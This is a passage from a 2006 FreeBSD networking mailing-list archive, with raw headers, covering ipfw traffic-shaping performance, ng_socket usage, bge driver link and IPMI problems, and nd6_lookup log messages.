(Postfix) with ESMTP id CF24216A403 for ; Thu, 4 May 2006 17:05:24 +0000 (UTC) (envelope-from babolo@cicuta.babolo.ru) Received: from ints.mail.pike.ru (ints.mail.pike.ru [85.30.199.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id CEBC743D46 for ; Thu, 4 May 2006 17:05:23 +0000 (GMT) (envelope-from babolo@cicuta.babolo.ru) Received: (qmail 54666 invoked from network); 4 May 2006 17:05:21 -0000 Received: from cicuta.babolo.ru (85.30.224.245) by ints.mail.pike.ru with SMTP; 4 May 2006 17:05:21 -0000 Received: (nullmailer pid 82829 invoked by uid 136); Thu, 04 May 2006 17:13:51 -0000 X-ELM-OSV: (Our standard violations) hdr-charset=KOI8-R; no-hdr-encoding=1 In-Reply-To: <44595B76.9010901@widesoft.com.br> To: tpeixoto@widesoft.com.br Date: Thu, 4 May 2006 21:13:51 +0400 (MSD) From: .@babolo.ru X-Mailer: ELM [version 2.4ME+ PL99b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Message-Id: <1146762831.921056.82828.nullmailer@cicuta.babolo.ru> Cc: Lee Johnston , freebsd-net@freebsd.org, Julian Elischer , mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 17:05:24 -0000 [ Charset ISO-8859-1 unsupported, converting... ] > Very good. You're right! > I inserted a rule to match all non-layer2 packets on the top of the > ruleset and interrupts dropped 10~20% immediately. > Given that, I went to apply Julian's idea of grouping 'in' and 'out' > pipe rules to reduce the searching on the firewall and that gave me a > little bit more of performance. > As interrupts were still hitting 60% mark, I did some more experiences: > > Test 1: I changed all 'pipe' rules to 'allow' rules, so all packets were > allowed and no shaping was done. The pipes were still there, but there > were no rules pointing packets to them. > Result: No difference. Interrupts are the same as before. > Conclusion: It's not the shaping itself that slows the system. > > Test 2: With the same ruleset of test 1, I just removed all pipes (ipfw > pipe flush). As far as I understand traffic stops after pipe flush, and this is reason for CPU goes down > Result: Interrupts were only 20%! > Conclusion: Lots of pipes bother the system. I didn't figure out why, > but it's not a coincidence. I tested several times to make sure. > > Test 3: I applied Michael's idea of using 'mask src-ip' and 'mask > dst-ip' in the pipes to use them as a template for dynamic generated pipes. > Result: Worked like a charm. Now I have only 18 pipes instead of 3200. > Interrupts are ~30%. > Conclusion: The reduced number of pipes generated less system interrupts. > > The only problem I noticed (so far) with this method is that if we have > more than 1 IP address to a single MAC address, each IP will be shaped > individually instead of share the same speed of the other(s) IP(s) with > the same MAC. > > Anyway, I am very curious about the result of test 2. Why do the pipes > have influence on system performance if there is nothing passing through > them? From owner-freebsd-net@FreeBSD.ORG Fri May 5 00:40:17 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD68416A405 for ; Fri, 5 May 2006 00:40:17 +0000 (UTC) (envelope-from list@talha.com) Received: from dione.webserversystems.com (dione.webserversystems.com [216.118.97.187]) by mx1.FreeBSD.org (Postfix) with ESMTP id 22AB643D46 for ; Fri, 5 May 2006 00:40:17 +0000 (GMT) (envelope-from list@talha.com) Received: from [82.153.238.157] (helo=[127.0.0.1]) by dione.webserversystems.com with esmtpa (Exim 4.52) id 1FboMh-0000Ju-4P for freebsd-net@freebsd.org; Thu, 04 May 2006 20:40:15 -0400 Message-ID: <445A9EF7.4020703@talha.com> Date: Fri, 05 May 2006 01:40:23 +0100 From: sheeda User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: freebsd-net@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0616-2, 04/18/2006), Outbound message X-Antivirus-Status: Clean X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - dione.webserversystems.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - talha.com X-Source: X-Source-Args: X-Source-Dir: Subject: using ng_socket X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 May 2006 00:40:17 -0000 Hello, I am trying to use ng_socket in my application to connect into netgraph system. I have successfully initialized the ng_socket using socket(2) system call and I can see the unnamed node in ngctl. I have read the ng_socket manual and it says that I can assign node name using bind(2) and bind NG_DATA sockets to nodes using connect(2). I am lost in sockaddr, sockaddr_in, sockaddr_ng structures and some code example would really help. I need to get to a point where I can send and receive data to/from nodes using sendto & recvfrom commands. Thanks in advance, sheeda From owner-freebsd-net@FreeBSD.ORG Fri May 5 16:01:49 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EAA4716A4EF for ; Fri, 5 May 2006 16:01:49 +0000 (UTC) (envelope-from trashy_bumper@yahoo.com) Received: from web36314.mail.mud.yahoo.com (web36314.mail.mud.yahoo.com [209.191.84.244]) by mx1.FreeBSD.org (Postfix) with SMTP id 709B343D48 for ; Fri, 5 May 2006 16:01:49 +0000 (GMT) (envelope-from trashy_bumper@yahoo.com) Received: (qmail 84108 invoked by uid 60001); 5 May 2006 16:01:48 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=OZ4zsY/bJgQCHTWTVBE+yHUdLdg0nYjyHvtf9ZfaKGLs/qIm4zrXMpPwR4E7ibbE11H32y+lk0uTvcFsOUc5PCcJOlaXPaF0fIXAUdeqzKnEH0eh91a7/wvObtt7/y4kfZRPkHA5fDDvlnQQeblMv6CKy8XHcrASiiyrgx2lb+0= ; Message-ID: <20060505160148.84106.qmail@web36314.mail.mud.yahoo.com> Received: from [213.227.200.244] by web36314.mail.mud.yahoo.com via HTTP; Fri, 05 May 2006 09:01:48 PDT Date: Fri, 5 May 2006 09:01:48 -0700 (PDT) From: Nash Nipples To: freebsd-net@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Sendmail SSL certificates cache? X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 May 2006 16:01:50 -0000 Sendmail ssl server certificates cache where? thanks. Nash --------------------------------- How low will we go? Check out Yahoo! Messenger’s low PC-to-Phone call rates. From owner-freebsd-net@FreeBSD.ORG Fri May 5 19:39:48 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8EE1C16A407 for ; Fri, 5 May 2006 19:39:48 +0000 (UTC) (envelope-from reed@pilchuck.reedmedia.net) Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 27FD643D46 for ; Fri, 5 May 2006 19:39:48 +0000 (GMT) (envelope-from reed@pilchuck.reedmedia.net) Received: from reed by pilchuck.reedmedia.net with local (Exim 4.44) id 1Fc69X-0007H9-1A for freebsd-net@freebsd.org; Fri, 05 May 2006 12:39:51 -0700 Date: Fri, 5 May 2006 12:39:50 -0700 (PDT) From: "Jeremy C. Reed" To: freebsd-net@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: "Jeremy C. Reed" Subject: bge and "no carrier" on IBM Blade 8843L1U X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 May 2006 19:39:49 -0000 The hardware is a IBM BladeCenter HS20 (8843L1U). ifconfig says "no carrier" (see below). (Networking does work when it running aother non-BSD operating system.) Running FreeBSD 6.1 RC2 with GENERIC plus kernel configuration: options BGE_FAKE_AUTONEG When this extra kernel option is in place, the link light goes from solid to off. The dmesg output says: pci5: on pcib3 bge0: mem 0xdcff0000-0xdcffffff irq 77 at device 1.0 on pci5 bge0: Ethernet address: 00:14:5e:3d:9d:dc bge1: mem 0xdcfe0000-0xdcfeffff irq 78 at device 1.1 on pci5 bge1: Ethernet address: 00:14:5e:3d:9d:dd pci0: at device 8.0 (no driver attached) pcib4: at device 28.0 on pci0 (I don't have the rest of the dmesg output. The system has no network access. The above dmesg section is same as seen on http://wiki.bsdforen.de/index.php/FreeBSD_On_IBM_Blade with MAC addresses different.) ifconfig shows: bge0: flags=8802 mtu 1500 options=9b ether 00:14:5e:3d:9d:dc media: Ethernet autoselect (1000baseSX ) status: no carrier bge1: flags=8802 mtu 1500 options=9b ether 00:14:5e:3d:9d:dd media: Ethernet autoselect (1000baseSX ) status: no carrier (Hopefully I didn't make any typos. I can provide screenshots if needed.) Some links, which may be related: http://docs.freebsd.org/cgi/getmsg.cgi?fetch=1351686+0+/usr/local/www/db/text/2004/freebsd-current/20040919.freebsd-current http://www.freebsd.org/cgi/query-pr.cgi?pr=67598 (closed) http://www.freebsd.org/cgi/query-pr.cgi?pr=68445 (closed) http://docs.freebsd.org/cgi/getmsg.cgi?fetch=859964+0+/usr/local/www/db/text/2006/freebsd-current/20060108.freebsd-current Jeremy C. Reed p.s. I don't have physical access to this hardware, so I am getting info from the admin. From owner-freebsd-net@FreeBSD.ORG Sat May 6 02:14:48 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 111E816A404 for ; Sat, 6 May 2006 02:14:48 +0000 (UTC) (envelope-from vulture@netvulture.com) Received: from rackman.netvulture.com (adsl-63-197-17-60.dsl.snfc21.pacbell.net [63.197.17.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 885D643D46 for ; Sat, 6 May 2006 02:14:47 +0000 (GMT) (envelope-from vulture@netvulture.com) Received: from [127.0.0.1] (host75.netvulture.com [208.201.244.75]) (authenticated bits=0) by rackman.netvulture.com (8.13.5/8.13.5) with ESMTP id k462Dwi2098421; Fri, 5 May 2006 19:14:00 -0700 (PDT) Message-ID: <445C065D.8010806@netvulture.com> Date: Fri, 05 May 2006 19:13:49 -0700 From: Jonathan Feally User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Jeremy C. Reed" References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact your system administrator for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=-2.454, required 2.5, ALL_TRUSTED -2.82, AWL 0.37) Cc: freebsd-net@freebsd.org Subject: Re: bge and "no carrier" on IBM Blade 8843L1U X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 02:14:48 -0000 Why whould you want to use that kernel option? I don't see that it is a requirement on the blade how-to. My guess is you haven't specifically set the interface to a media speed and duplex as the option indicates to me that the driver would not attempt auto negotiation. If the option is not required - lose it - otherwise try adding a media option to your ifconfig. -Jon Jeremy C. Reed wrote: >The hardware is a IBM BladeCenter HS20 (8843L1U). ifconfig says "no >carrier" (see below). (Networking does work when it running aother non-BSD >operating system.) > >Running FreeBSD 6.1 RC2 with GENERIC plus kernel configuration: > options BGE_FAKE_AUTONEG > >When this extra kernel option is in place, the link light goes from >solid to off. > >The dmesg output says: > >pci5: on pcib3 >bge0: mem > 0xdcff0000-0xdcffffff irq 77 at device 1.0 on pci5 >bge0: Ethernet address: 00:14:5e:3d:9d:dc >bge1: mem > 0xdcfe0000-0xdcfeffff irq 78 at device 1.1 on pci5 >bge1: Ethernet address: 00:14:5e:3d:9d:dd >pci0: at device 8.0 (no driver attached) >pcib4: at device 28.0 on pci0 > >(I don't have the rest of the dmesg output. The system has no network >access. The above dmesg section is same as seen on >http://wiki.bsdforen.de/index.php/FreeBSD_On_IBM_Blade with MAC addresses >different.) > >ifconfig shows: > >bge0: flags=8802 mtu 1500 > options=9b > ether 00:14:5e:3d:9d:dc > media: Ethernet autoselect (1000baseSX ) > status: no carrier >bge1: flags=8802 mtu 1500 > options=9b > ether 00:14:5e:3d:9d:dd > media: Ethernet autoselect (1000baseSX ) > status: no carrier > >(Hopefully I didn't make any typos. I can provide screenshots if needed.) > >Some links, which may be related: > >http://docs.freebsd.org/cgi/getmsg.cgi?fetch=1351686+0+/usr/local/www/db/text/2004/freebsd-current/20040919.freebsd-current > >http://www.freebsd.org/cgi/query-pr.cgi?pr=67598 (closed) > >http://www.freebsd.org/cgi/query-pr.cgi?pr=68445 (closed) > >http://docs.freebsd.org/cgi/getmsg.cgi?fetch=859964+0+/usr/local/www/db/text/2006/freebsd-current/20060108.freebsd-current > > > Jeremy C. Reed > >p.s. I don't have physical access to this hardware, so I am getting info >from the admin. >_______________________________________________ >freebsd-net@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-net >To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > > From owner-freebsd-net@FreeBSD.ORG Sat May 6 02:22:22 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5653316A400 for ; Sat, 6 May 2006 02:22:22 +0000 (UTC) (envelope-from reed@pilchuck.reedmedia.net) Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id F3B8443D45 for ; Sat, 6 May 2006 02:22:21 +0000 (GMT) (envelope-from reed@pilchuck.reedmedia.net) Received: from reed by pilchuck.reedmedia.net with local (Exim 4.44) id 1FcCR8-0003DR-36; Fri, 05 May 2006 19:22:26 -0700 Date: Fri, 5 May 2006 19:22:25 -0700 (PDT) From: "Jeremy C. Reed" To: Jonathan Feally In-Reply-To: <445C065D.8010806@netvulture.com> Message-ID: References: <445C065D.8010806@netvulture.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: "Jeremy C. Reed" Cc: freebsd-net@freebsd.org Subject: Re: bge and "no carrier" on IBM Blade 8843L1U X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 02:22:22 -0000 On Fri, 5 May 2006, Jonathan Feally wrote: > Why whould you want to use that kernel option? I was told it was broken without the option also. I was told that ifconfig said "no carrier" with the default GENERIC kernel (while it worked fine with CentOS). (Since it doesn't have network access and I am 1800 miles away, I can not easily check. I am relaying messages.) > I don't see that it is a requirement on the blade how-to. My guess is > you haven't specifically set the interface to a media speed and duplex > as the option indicates to me that the driver would not attempt auto > negotiation. If the option is not required - lose it - otherwise try > adding a media option to your ifconfig. Thanks. We'll give that a try. (I now recall that I had to do that with bge on some other hardware over a year ago.) Jeremy C. Reed From owner-freebsd-net@FreeBSD.ORG Sat May 6 08:21:50 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E910E16A403 for ; Sat, 6 May 2006 08:21:49 +0000 (UTC) (envelope-from oleg@lath.rinet.ru) Received: from lath.rinet.ru (lath.rinet.ru [195.54.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id B89E843D6E for ; Sat, 6 May 2006 08:21:45 +0000 (GMT) (envelope-from oleg@lath.rinet.ru) Received: from lath.rinet.ru (localhost [127.0.0.1]) by lath.rinet.ru (8.13.4/8.13.4) with ESMTP id k468LLru028449 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 6 May 2006 12:21:21 +0400 (MSD) (envelope-from oleg@lath.rinet.ru) Received: (from oleg@localhost) by lath.rinet.ru (8.13.4/8.13.4/Submit) id k468LK9Q028448; Sat, 6 May 2006 12:21:20 +0400 (MSD) (envelope-from oleg) Date: Sat, 6 May 2006 12:21:20 +0400 From: Oleg Bulyzhin To: Doug Ambrisko Message-ID: <20060506082120.GA27842@lath.rinet.ru> References: <85D4F2C294E8434CA0AF7757415326860950D8@server1.ssgi.local> <200605040354.k443s9d7033731@ambrisko.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200605040354.k443s9d7033731@ambrisko.com> User-Agent: Mutt/1.5.11 Cc: freebsd-net@freebsd.org, Robert Wojciechowski Subject: Re: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 08:21:50 -0000 On Wed, May 03, 2006 at 08:54:09PM -0700, Doug Ambrisko wrote: > Robert Wojciechowski writes: > | > Could you try this latest version. It incorporates Oleg > | > change sort-of. It was a good hint. The issue is that > | > we can't move the detection after the "reset" dance. Since > | > it needs to know if ASF is active. What we can do is just > | > do the bge_reset, look for ASF and then do the dance. This > | > works really well and I makes the PHY probe work without the > | > one remaining hack that I had left and I was able to get rid > | > of a couple more hacks. > | > > | > This applies to RELENG_6. > | > > | > Please let me know how this works. I'd like to commit > | > this. Please pay attention to if IPMI works before the > | > NIC is UP/or has an IP and then when it is ifconfig down > | > then up again. The PHY should be detected at brgphy > | > and not the generic one. It should also have all of the > | > proper speeds. It should work with and without PXE boot. > | > Finally non-IPMI ones should work. > | > > | > So far it works on the variants I have. > | > | Doug, > | > | I tried your patch (as well as one from you on 1/13/2006) on FreeBSD > | 6.1-RC2 but experienced hard lockups. It happens during startup right > | after setting the hostname, right before it would normally bring up the > | interface I believe. > > Could you try: > http://www.ambrisko.com/doug/bge_ipmi_2.patch > > | This is on four different servers, all Supermicro motherboards (H8DAR > | and H8DAE) based on the Broadcom BCM5704 chip. > | > | Here is the pciconf -lv: > | > | bge0@pci2:3:0: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 > | hdr=0x00 > | vendor = 'Broadcom Corporation' > | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' > | class = network > | subclass = ethernet > | bge1@pci2:3:1: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 > | hdr=0x00 > | vendor = 'Broadcom Corporation' > | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' > | class = network > | subclass = Ethernet > | > | Any ideas? If you need any more information or have other patches I can > | test for you, let me know! > > Try this version. If this has trouble we can try to add some debug > stuff to it. > > Thanks, > > Doug A. I've tested your new patch on hp proliant dl145g2 server with bcm5721 on board chips: bge1: mem 0xca100000-0xca10ffff irq 19 at device 0.0 on pci3 It does work but i've found some problems: minor ones: 1) IPMI stop working for a few seconds while ifconfig bge1 up/down or driver initialization (perhaps this happens when bge_reset() is called) 2) IPMI interface (bound to brgphy1) is unreachable from bge1 itself. I guess it's due to simplex nature of bge. I'm not sure this can be fixed. major one: Driver is unable to detect link loss. Problematic code is in bge_tick_locked: /* Don't mess with the PHY in IPMI/ASF mode */ if (!((sc->bge_asf_mode & ASF_STACKUP) && (sc->bge_link))) mii_tick(mii); what purpose of this check? mii_tick() call is necessary for updating phy's link status. -- Oleg. From owner-freebsd-net@FreeBSD.ORG Sat May 6 17:27:44 2006 Return-Path: X-Original-To: net@freebsd.org Delivered-To: freebsd-net@FreeBSD.ORG Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 440B516A401 for ; Sat, 6 May 2006 17:27:44 +0000 (UTC) (envelope-from ed@hoeg.nl) Received: from palm.hoeg.nl (mx0.hoeg.nl [83.98.131.211]) by mx1.FreeBSD.org (Postfix) with ESMTP id DF43C43D45 for ; Sat, 6 May 2006 17:27:43 +0000 (GMT) (envelope-from ed@hoeg.nl) Received: by palm.hoeg.nl (Postfix, from userid 1000) id 14DE617123; Sat, 6 May 2006 19:27:42 +0200 (CEST) Date: Sat, 6 May 2006 19:27:42 +0200 From: Ed Schouten To: FreeBSD Net Message-ID: <20060506172742.GM15353@hoeg.nl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="K3Y3NTg/qyuIFs24" Content-Disposition: inline User-Agent: Mutt/1.5.11 Cc: Interlink Beheer Subject: nd6_lookup prints bogus messages with point to point devices X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 17:27:44 -0000 --K3Y3NTg/qyuIFs24 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello FreeBSD network folks, On one of the FreeBSD machines we maintain at Dispuut Interlink[1], we get a lot of messages like these: | nd6_lookup: failed to add route for a neighbor(), errno=3D17 The addresses mentioned in the messages are all addresses of endpoint addresses of point-to-point devices. The nd6_lookup() call in the function nd6_output() is responsible for it. If you look through nd6_output(), you see that a couple of lines below the nd6_lookup() call it doesn't really care when dealing with IFF_POINTOPOINT devices. It would be really useful to drop the messages when dealing with point to point devices, so I write a patch[2] for nd6_lookup() to make it print the message when not dealing with IFF_POINTOPOINT devices. Should I open a PR for this patch? Yours, --=20 Ed Schouten WWW: http://g-rave.nl/ [1] http://www.il.fontys.nl/ [2] http://g-rave.nl/junk/freebsd-nd6_lookup-spam.diff --K3Y3NTg/qyuIFs24 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQFEXNyN52SDGA2eCwURAn6SAJ9aSvgMweSu75RNo2Aex1eDKpXZYwCffL+5 6YlIbpxreDPyxehLWpkpjlg= =gk6y -----END PGP SIGNATURE----- --K3Y3NTg/qyuIFs24-- From owner-freebsd-net@FreeBSD.ORG Sat May 6 17:43:54 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86E9016A402; Sat, 6 May 2006 17:43:54 +0000 (UTC) (envelope-from ambrisko@ambrisko.com) Received: from mail2.ambrisko.com (mail2.ambrisko.com [64.174.51.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1911C43D45; Sat, 6 May 2006 17:43:54 +0000 (GMT) (envelope-from ambrisko@ambrisko.com) Received: from server2.ambrisko.com (HELO www.ambrisko.com) ([192.168.1.2]) by mail2.ambrisko.com with ESMTP; 06 May 2006 10:42:59 -0700 Received: from ambrisko.com (localhost [127.0.0.1]) by www.ambrisko.com (8.12.11/8.12.11) with ESMTP id k46HhrQL027794; Sat, 6 May 2006 10:43:53 -0700 (PDT) (envelope-from ambrisko@ambrisko.com) Received: (from ambrisko@localhost) by ambrisko.com (8.12.11/8.12.11/Submit) id k46HhlLK027788; Sat, 6 May 2006 10:43:47 -0700 (PDT) (envelope-from ambrisko) From: Doug Ambrisko Message-Id: <200605061743.k46HhlLK027788@ambrisko.com> In-Reply-To: <20060506082120.GA27842@lath.rinet.ru> To: Oleg Bulyzhin Date: Sat, 6 May 2006 10:43:47 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Cc: freebsd-net@freebsd.org, Robert Wojciechowski Subject: Re: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 17:43:54 -0000 Oleg Bulyzhin writes: | On Wed, May 03, 2006 at 08:54:09PM -0700, Doug Ambrisko wrote: | > Robert Wojciechowski writes: | > | > Could you try this latest version. It incorporates Oleg | > | > change sort-of. It was a good hint. The issue is that | > | > we can't move the detection after the "reset" dance. Since | > | > it needs to know if ASF is active. What we can do is just | > | > do the bge_reset, look for ASF and then do the dance. This | > | > works really well and I makes the PHY probe work without the | > | > one remaining hack that I had left and I was able to get rid | > | > of a couple more hacks. | > | > | > | > This applies to RELENG_6. | > | > | > | > Please let me know how this works. I'd like to commit | > | > this. Please pay attention to if IPMI works before the | > | > NIC is UP/or has an IP and then when it is ifconfig down | > | > then up again. The PHY should be detected at brgphy | > | > and not the generic one. It should also have all of the | > | > proper speeds. It should work with and without PXE boot. | > | > Finally non-IPMI ones should work. | > | > | > | > So far it works on the variants I have. | > | | > | Doug, | > | | > | I tried your patch (as well as one from you on 1/13/2006) on FreeBSD | > | 6.1-RC2 but experienced hard lockups. It happens during startup right | > | after setting the hostname, right before it would normally bring up the | > | interface I believe. | > | > Could you try: | > http://www.ambrisko.com/doug/bge_ipmi_2.patch | > | > | This is on four different servers, all Supermicro motherboards (H8DAR | > | and H8DAE) based on the Broadcom BCM5704 chip. | > | | > | Here is the pciconf -lv: | > | | > | bge0@pci2:3:0: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 | > | hdr=0x00 | > | vendor = 'Broadcom Corporation' | > | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' | > | class = network | > | subclass = ethernet | > | bge1@pci2:3:1: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 | > | hdr=0x00 | > | vendor = 'Broadcom Corporation' | > | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' | > | class = network | > | subclass = Ethernet | > | | > | Any ideas? If you need any more information or have other patches I can | > | test for you, let me know! | > | > Try this version. If this has trouble we can try to add some debug | > stuff to it. | > | > Thanks, | > | > Doug A. | | I've tested your new patch on hp proliant dl145g2 server with bcm5721 on board | chips: | bge1: mem 0xca100000-0xca10ffff irq 19 at device 0.0 on pci3 | | It does work but i've found some problems: | | minor ones: | 1) IPMI stop working for a few seconds while ifconfig bge1 up/down or driver | initialization (perhaps this happens when bge_reset() is called) This is expected and happens under Linux etc. If it didn't happen then we wouldn't need driver support for it! | 2) IPMI interface (bound to brgphy1) is unreachable from bge1 itself. I guess | it's due to simplex nature of bge. I'm not sure this can be fixed. Correct, if you have a routable connect then you can talk back to your self. | major one: | Driver is unable to detect link loss. Problematic code is in bge_tick_locked: | | /* Don't mess with the PHY in IPMI/ASF mode */ | if (!((sc->bge_asf_mode & ASF_STACKUP) && (sc->bge_link))) | mii_tick(mii); | | what purpose of this check? mii_tick() call is necessary for updating phy's | link status. In IPMI enabled we can't read the PHY much since the ASF firmware is also reading it. This can result in lock ups of the firmware :-( Both the driver and the ASF part stops working. So I only allow reads until we have link. I used to be able to detect if IPMI was enabled on the chip and then only prevent the poll in that case. Since your chip needed the reset first we lose that state info. So now I have to assume it on if the chip is capable :-( Linux goes a step further and never reads from the PHY. I've got it so I can read okay during initialization. If I could talk to chip reliably to read the asf stack up state then things would be better on machines that have multiple of these NIC's. Intel doesn't have as much issues. The new bce seems better, however, in DDB is seems IPMI stops working on the bce driver. The doc's don't really go into great detail and we found one chip (5704C) that barf's on: bge_writemem_ind(sc, BGE_SOFTWARE_GENCOMM, BGE_MAGIC_NUMBER); in bge_sig_pre_reset. I'm thinking we might want to try a sysctl to enable IPMI or only do this stuff for IPMI capable chips. Slowly things are getting better. Doug A. From owner-freebsd-net@FreeBSD.ORG Sat May 6 21:15:46 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3C82016A406 for ; Sat, 6 May 2006 21:15:46 +0000 (UTC) (envelope-from dimas@dataart.com) Received: from relay1.dataart.com (fobos.marketsite.ru [62.152.84.30]) by mx1.FreeBSD.org (Postfix) with ESMTP id 950F743D45 for ; Sat, 6 May 2006 21:15:44 +0000 (GMT) (envelope-from dimas@dataart.com) Received: from e1.universe.dart.spb ([192.168.10.44]) by relay1.dataart.com with esmtp (Exim 4.22) id 1FcU7q-0003au-Rf for freebsd-net@freebsd.org; Sun, 07 May 2006 01:15:42 +0400 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 